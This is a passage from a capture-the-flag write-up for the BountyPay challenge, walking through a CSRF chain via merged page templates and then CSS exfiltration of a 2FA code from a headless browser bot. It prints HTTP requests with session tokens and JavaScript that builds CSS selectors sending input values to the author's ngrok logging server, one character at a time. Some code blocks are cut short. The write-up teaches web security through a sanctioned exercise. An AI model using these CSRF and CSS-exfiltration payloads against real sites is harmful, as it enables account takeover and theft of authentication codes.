Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR1B3NVRQRC8rV01aenlqQ2pWU0lGNUlpYkRlOXlZWk1BR0hqTzFPaWQ0bDA0M2xZdXozYld3czZSUG9McFZ4TWlCSGtVR3lDU3FycUZGUjY0QXNHb2lxaC9mWlFkZmNpdWZDVmJVNnNLOHFLT0svRkJSY0MwNTcyMEs4c1lyUzE3UT09

See, the username parameter value is undefinded because there is no input with username as name in the current page.

 let t = $('input[name="username"]').val();

Now our task is to define the username value somehow.

May 31, 6:33 am

Dom Clobbering?

No, there is no way we can clobber this selector $('input[name="username"]').

There should be a way to set the username value, so I started finding pages with input tag and its name value to username.

It actually exists in the login page of the portal, check this out https://staff.bountypay.h1ctf.com/?template=login&username=sandra

<div><input name="username" class="form-control" value="sandra"></div>

Nice, now how can we combine this thing with our CSRF, we can set username value in login page and can perform csrf in ticket page, unless there is a way to combine these two pages and show it in single page there is no way we can solve this challenge.

May 31, 7:30 am

Now, the task is to merget login and ticket page. After few trail and errors I figured out a way to merge them.

If you observe the portal URLs, all of them are fetched using template parameter.




What if we fetch multiple templates using array?

It turns out to be we can fetch like below


Now our task is to report the above url to admin, which trigger click event in the admin page on upgradeToAdmin class which makes our user to admin.

GET /admin/report?url=P3RlbXBsYXRlW109bG9naW4mdXNlcm5hbWU9c2FuZHJhLmFsbGlzb24mdGVtcGxhdGVbXT10aWNrZXQmdGlja2V0X2lkPTM1ODIjdGFiMQ== HTTP/1.1

Host: staff.bountypay.h1ctf.com

Connection: close

Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR1B3NVRQRC8rV01aenlqQ2pWU0lGNUlpYkRlOXlZWk1BR0hqTzFPaWQ0bDA0M2xZdXozYkJqRURhdXczckZGTWlCSGtVR3lDU3FycUZGUjY0QXNHbzMybnJQZFZkYUIwc3ZpVWJ4VCtLWmZhYS83Q0IwTlNncy93aDZrbFlPTzE3UT09

That's it, Account got upgraded to admin, got the credentials of marten.mickos.

Then, I tried log in to the staff portal using this credentials but they are not working here, then I've tried in customer portal and able to login but its asking 2FA code as in the step 1 and the same challenge and challenge_answer can be used to login.


Host: app.bountypay.h1ctf.com

Connection: close

Content-Length: 129

Content-Type: application/x-www-form-urlencoded


HTTP/1.1 302 Found

Server: nginx/1.14.0 (Ubuntu)

Date: Fri, 05 Jun 2020 06:01:28 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

Set-Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9; expires=Sun, 05-Jul-2020 06:01:28 GMT; Max-Age=2592000

Location: /

Content-Length: 0

I am so desperate to see the flag after the log in, it turns out to be there is one more level we need solve. 

May 31, 9:26 am

Step 8

The beautiful CSS Exfiltration

After login to the marten account we can see a transaction to process, when we perform pay action its asking for 2FA code, one more time we need to bypass 2FA this one seems to be completely different from login 2FA.

When we perform pay action its asking for 2FA code, one more time we need to bypass 2FA. I tried the bypass which we did for login but its not working here.

When we click on pay, we can notice a interesting request taking place. 

POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1

Host: app.bountypay.h1ctf.com

Connection: close

Content-Length: 63

Content-Type: application/x-www-form-urlencoded

Cookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9


Replaced the above app_style with my logging server url, it turns out to be chromium browser is accessing the url. See the logged request

GET /css/uni_2fa_style.css HTTP/1.1

Host: 877c5235f3c3.ngrok.io

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36

Accept: text/css,*/*;q=0.1

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: style

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US

X-Forwarded-Proto: https


Initially, I thought its some kind of SSRF and tried to run javascript on the headless chrome bot, then I quickly realised that the given url in app_style parameter is placed in html link tag to load css file. You may wonder how I realised its a html link tag, if you see in the above logged request Accept header value is text/css. Browser automatically sends this header when fetching css stylesheet from link tag.

<link rel=stylesheet href={{app_style}}>

Now its obvious that the bot is loading 2FA page with 2FA code in it and we have control over style sheet on that page.

To steal the code from the bot page we can use CSS exfiltration, check this blog post to know more about this topic https://www.mike-gualtieri.com/posts/stealing-data-with-css-attack-and-defense

In short, we use CSS selectors to parse html tag attribute data. 

Let's say  if we want to select all the p tags with id equals to asdf and set the background-color to red, then css will be.

p[id=a] {

  background-color: yellow;


Now interesting thing in this functionality is that we can abuse it to steal the form data because the data is stored in value attribute.

<input type=text value=secret name=pass />

Let's say we want to steal the password value from the input tag and we have control over css in the page, so we can use css exfil to steal the password as following

input[name=pass][value^=s] {



If you notice the above css, we are selecting a tag named input , its attribute name equals pass and its value starts with s. If the passwords starts with s, the request attacker.com will be sent. In this way we bruteforce character by character to exfil password.

Check this jsbin to see it practically https://jsbin.com/katoginohu/edit?html,output

End of theory, lets get into challenge part.

We want to exfil the 2FA code from the bot, we don't know anything about the attribute names and even we don't know if the 2FA code is in input tag. I quickly wrote below js code to generate css and serve it from my server.

function gen(values) {

            css_payload = "";

              for(var value in values) {

                 css_payload += "input[value^=" + values[value] + "]{background-image:url(\"https://14131d4ca1f4.ngrok.io?a=" + values[value] +"\");}\n";



            return css_payload;



Copy paste the above code in the console to see what it does, it basically iterates over all chars and creates a css code which selects input tag with value starts with the char, like below.




I hosted the css using flask and ngrok and send it to the app_style parameter and noticed 7 requests hitting my server, I am somewhat afraid here because if the challenge is to exfil all the 7 input tags with long values then it takes so much time

Out of curiosity, I've modified the above js script as below, now I am only checking if value is equals to single character.

function gen(values) {

            css_payload = "";

              for(var value in values) {

                 css_payload += "input[value=" + values[value] + "]{background-image:url(\"https://14131d4ca1f4.ngrok.io?a=" + values[value] +"\");}\n";



            return css_payload;



One more time, I saw 7 requests hitting my server. Then I confirmed that the length of input value is 1 and there are 7 input tags which means the 2FA code length is 7.

But, we have a issue here, we got the 2FA code but its not in the proper order. 

One may think using bruteforce to find the proper order while submitting issue, but we can solve this issue easily by using css selectors like nth-child, nth-of-type and so on. https://www.w3schools.com/cssref/css_selectors.asp

I used nth-of-type(n) selector which selects nth element of its parent, so the payload will be as below, which basically selects all the input tag with value equals to A and  it is nth element of its parent.








The modifies js code will be

function gen(values) {

            css_payload = "";

            for( i=1;i<=7;i++){

              for(var value in values) {

                 css_payload += "input[value=" + values[value] + "]:nth-of-type("+i+"){background-image:url(\"https://14131d4ca1f4.ngrok.io?a=" + values[value] + "&i=" + i + "\");}\n";



            return css_payload;



And replace the css in our server.


from flask import *

app = Flask(__name__)


def h1():

    x= '''










                             removed some lines








    return x,200,{'Content-Type':'text/css; charset=utf-8'}


Lets send our server css url while making payment in app_style parameter and we can see 7 requests hitting our server in order.

May 31, 10:26 am

Submit the 2FA code in order and finally we got the flag

Write-up took more time than solving the challenge xD, hope it helps somebody.